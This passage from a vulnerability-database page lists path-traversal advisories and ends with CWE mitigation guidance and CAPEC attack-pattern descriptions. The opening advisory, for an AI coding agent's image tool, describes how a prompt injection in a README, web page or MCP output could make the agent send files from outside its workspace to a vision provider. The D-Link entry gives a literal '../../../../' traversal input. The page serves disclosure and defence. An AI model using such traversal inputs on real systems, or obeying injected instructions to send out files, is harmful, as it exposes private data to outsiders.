`crates/tui/src/vision/tools.rs:122`:\n\n```rust\n- let resolved_path = context.workspace.join(image_path_buf);\n+ let resolved_path = context.resolve_path(image_path)?;\n```\n\n`resolve_path` already handles the pre-join lexical checks (so the existing `Path::new(image_path).components().any(...)` block can also be removed), canonicalizes through symlinks, and re-checks workspace containment. The behavior the lexical guard already promises (path stays inside the workspace) is then actually delivered.\n\n### Impact\n\nA workspace symlink whose name ends in `.png`, `.jpg`, `.jpeg`, `.gif`, `.webp`, or `.bmp` and whose target sits outside the workspace becomes a read primitive that the model can invoke without an approval prompt. The file bytes are base64-encoded into the `image_url.url` field of the chat-completion payload and POSTed to the configured vision endpoint along with the user\u0027s bearer token. Three exposure channels follow from a single invocation: the vision provider receives every byte of the target file in plaintext (most providers retain request bodies for abuse review or model training), any TLS-terminating corporate proxy on the egress path captures the same bytes, and any transparent middlebox with MITM visibility logs the payload. The preconditions are everyday workspace shapes: cloned repositories that ship symlinks to shared media (CI artifact bundles, photo libraries, design assets), a developer who staged an external file via `ln -s`, or a `git clone` with `core.symlinks=true` against a repository that includes such a link. Because the tool is auto-approved, a prompt-injection delivered through a poisoned README, fetched web page, or MCP server output can issue `{\"image_path\": \"screenshot.png\"}` and the bytes leave the machine on the same turn without any visible UI cue. The fix is identical to the pattern used by every other file-reading tool in this codebase, so the gap is a missed `resolve_path` call rather than a design tradeoff.",
"id": "GHSA-w7wx-5q49-r59w",
"modified": "2026-09-04T17:34:55Z",
"published": "2026-09-04T17:34:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Hmbown/CodeWhale/security/advisories/GHSA-w7wx-5q49-r59w"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-75914"
},
{
"type": "WEB",
"url": "https://github.com/Hmbown/CodeWhale/commit/26de44a8bd5051f8f944ea60b2c37ae1d2b7d25e"
},
{
"type": "PACKAGE",
"url": "https://github.com/Hmbown/CodeWhale"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/codewhale-before-path-traversal-via-image-analyze-symlink"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "CodeWhale: image_analyze follows workspace symlinks, leaking external file bytes"
}
GHSA-W7X9-W245-5V98
Vulnerability from github – Published: 2022-05-14 03:20 – Updated: 2022-05-14 03:20In CMS Made Simple 2.2.7, a Directory Traversal issue makes it possible to determine the existence of files and directories outside the web-site installation directory, and determine whether a file has contents matching a specified checksum. The attack uses an admin/checksum.php?__c= request.
{
"affected": [],
"aliases": [
"CVE-2018-9921"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-04-23T18:29:00Z",
"severity": "MODERATE"
},
"details": "In CMS Made Simple 2.2.7, a Directory Traversal issue makes it possible to determine the existence of files and directories outside the web-site installation directory, and determine whether a file has contents matching a specified checksum. The attack uses an admin/checksum.php?__c= request.",
"id": "GHSA-w7x9-w245-5v98",
"modified": "2022-05-14T03:20:50Z",
"published": "2022-05-14T03:20:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-9921"
},
{
"type": "WEB",
"url": "https://gist.github.com/0xn1k5/ef4c7c7a26c7d8a803ef3a85f1000c98"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-W828-74X3-F6HX
Vulnerability from github – Published: 2024-01-21 09:30 – Updated: 2025-10-22 00:32** UNSUPPORTED WHEN ASSIGNED ** A vulnerability was found in D-Link DIR-859 1.06B01. It has been rated as critical. Affected by this issue is some unknown functionality of the file /hedwig.cgi of the component HTTP POST Request Handler. The manipulation of the argument service with the input ../../../../htdocs/webinc/getcfg/DHCPS6.BRIDGE-1.xml leads to path traversal. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. VDB-251666 is the identifier assigned to this vulnerability. NOTE: This vulnerability only affects products that are no longer supported by the maintainer. NOTE: Vendor was contacted early and confirmed immediately that the product is end-of-life. It should be retired and replaced.
{
"affected": [],
"aliases": [
"CVE-2024-0769"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-01-21T08:15:07Z",
"severity": "MODERATE"
},
"details": "** UNSUPPORTED WHEN ASSIGNED ** A vulnerability was found in D-Link DIR-859 1.06B01. It has been rated as critical. Affected by this issue is some unknown functionality of the file /hedwig.cgi of the component HTTP POST Request Handler. The manipulation of the argument service with the input ../../../../htdocs/webinc/getcfg/DHCPS6.BRIDGE-1.xml leads to path traversal. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. VDB-251666 is the identifier assigned to this vulnerability. NOTE: This vulnerability only affects products that are no longer supported by the maintainer. NOTE: Vendor was contacted early and confirmed immediately that the product is end-of-life. It should be retired and replaced.",
"id": "GHSA-w828-74x3-f6hx",
"modified": "2025-10-22T00:32:58Z",
"published": "2024-01-21T09:30:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-0769"
},
{
"type": "WEB",
"url": "https://github.com/c2dc/cve-reported/blob/main/CVE-2024-0769/CVE-2024-0769.md"
},
{
"type": "WEB",
"url": "https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10371"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.251666"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.251666"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-0769"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-W838-RVV4-M6HV
Vulnerability from github – Published: 2022-03-17 00:00 – Updated: 2022-03-29 00:01When connecting to a certain port Axeda agent (All versions) and Axeda Desktop Server for Windows (All versions) (disregarding Axeda agent v6.9.2 and v6.9.3) is vulnerable to directory traversal, which could allow a remote unauthenticated attacker to obtain file system read access via web server..
{
"affected": [],
"aliases": [
"CVE-2022-25249"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-03-16T15:15:00Z",
"severity": "HIGH"
},
"details": "When connecting to a certain port Axeda agent (All versions) and Axeda Desktop Server for Windows (All versions) (disregarding Axeda agent v6.9.2 and v6.9.3) is vulnerable to directory traversal, which could allow a remote unauthenticated attacker to obtain file system read access via web server..",
"id": "GHSA-w838-rvv4-m6hv",
"modified": "2022-03-29T00:01:39Z",
"published": "2022-03-17T00:00:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-25249"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/uscert/ics/advisories/icsa-22-067-01"
},
{
"type": "WEB",
"url": "https://www.ptc.com/en/support/article/CS363561"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-W844-JC94-9FPW
Vulnerability from github – Published: 2024-10-07 21:33 – Updated: 2024-10-07 21:33{
"affected": [],
"aliases": [
"CVE-2024-47557"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-10-07T19:15:10Z",
"severity": "HIGH"
},
"details": "Pre-Auth RCE via Path Traversal",
"id": "GHSA-w844-jc94-9fpw",
"modified": "2024-10-07T21:33:30Z",
"published": "2024-10-07T21:33:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-47557"
},
{
"type": "WEB",
"url": "https://securitydocs.business.xerox.com/wp-content/uploads/2024/10/Xerox-Security-Bulletin-XRX24-014-for-Xerox%C2%AE-FreeFlow%C2%AE-Core-v7.0-.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-W877-JFW7-46RJ
Vulnerability from github – Published: 2024-06-17 21:20 – Updated: 2024-06-18 15:24Summary
DeepJavaLibrary(DJL) versions 0.1.0 through 0.27.0 do not prevent absolute path archived artifacts from inserting archived files directly into the system, overwriting system files. This is fixed in DJL 0.28.0 and patched in DJL Large Model Inference containers 0.27.0.
Impacted versions: 0.1.0 through 0.27.0
Patches
Patched Deep Learning Containers: v1.1-djl-0.27.0-inf-cpu-full v1.4-djl-0.27.0-inf-ds-0.12.6 v1.4-djl-0.27.0-inf-trt-0.8.0 v1.3-djl-0.27.0-inf-neuronx-sdk2.18.1
Patched Library: v0.28.0
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "ai.djl:api"
},
"ranges": [
{
"events": [
{
"introduced": "0.1.0"
},
{
"fixed": "0.28.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-37902"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2024-06-17T21:20:44Z",
"nvd_published_at": "2024-06-17T20:15:14Z",
"severity": "CRITICAL"
},
"details": "## Summary\n\nDeepJavaLibrary(DJL) versions 0.1.0 through 0.27.0 do not prevent absolute path archived artifacts from inserting archived files directly into the system, overwriting system files. This is fixed in DJL 0.28.0 and patched in DJL Large Model Inference containers 0.27.0.\n\n**Impacted versions: 0.1.0 through 0.27.0**\n\n## Patches\n\nPatched Deep Learning Containers:\n[v1.1-djl-0.27.0-inf-cpu-full](https://github.com/aws/deep-learning-containers/releases/tag/v1.1-djl-0.27.0-inf-cpu-full)\n[v1.4-djl-0.27.0-inf-ds-0.12.6](https://github.com/aws/deep-learning-containers/releases/tag/v1.4-djl-0.27.0-inf-ds-0.12.6)\n[v1.4-djl-0.27.0-inf-trt-0.8.0](https://github.com/aws/deep-learning-containers/releases/tag/v1.4-djl-0.27.0-inf-trt-0.8.0)\n[v1.3-djl-0.27.0-inf-neuronx-sdk2.18.1](https://github.com/aws/deep-learning-containers/releases/tag/v1.3-djl-0.27.0-inf-neuronx-sdk2.18.1)\n\nPatched Library:\n[v0.28.0](https://github.com/deepjavalibrary/djl/releases/tag/v0.28.0)\n",
"id": "GHSA-w877-jfw7-46rj",
"modified": "2024-06-18T15:24:00Z",
"published": "2024-06-17T21:20:44Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/deepjavalibrary/djl/security/advisories/GHSA-w877-jfw7-46rj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-37902"
},
{
"type": "WEB",
"url": "https://github.com/aws/deep-learning-containers/releases/tag/v1.1-djl-0.27.0-inf-cpu-full"
},
{
"type": "WEB",
"url": "https://github.com/aws/deep-learning-containers/releases/tag/v1.3-djl-0.27.0-inf-neuronx-sdk2.18.1"
},
{
"type": "WEB",
"url": "https://github.com/aws/deep-learning-containers/releases/tag/v1.4-djl-0.27.0-inf-ds-0.12.6"
},
{
"type": "WEB",
"url": "https://github.com/aws/deep-learning-containers/releases/tag/v1.4-djl-0.27.0-inf-trt-0.8.0"
},
{
"type": "PACKAGE",
"url": "https://github.com/deepjavalibrary/djl"
},
{
"type": "WEB",
"url": "https://github.com/deepjavalibrary/djl/releases/tag/v0.28.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "DeepJavaLibrary API absolute path traversal"
}
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-20.1
Strategy: Input Validation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
- Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
- realpath() in C
- getCanonicalPath() in Java
- GetFullPath() in ASP.NET
- realpath() or abs_path() in Perl
- realpath() in PHP
Mitigation MIT-4
Strategy: Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-21.1
Strategy: Enforcement by Conversion
- When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Strategy: Attack Surface Reduction
- Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
- This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-126: Path Traversal
An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.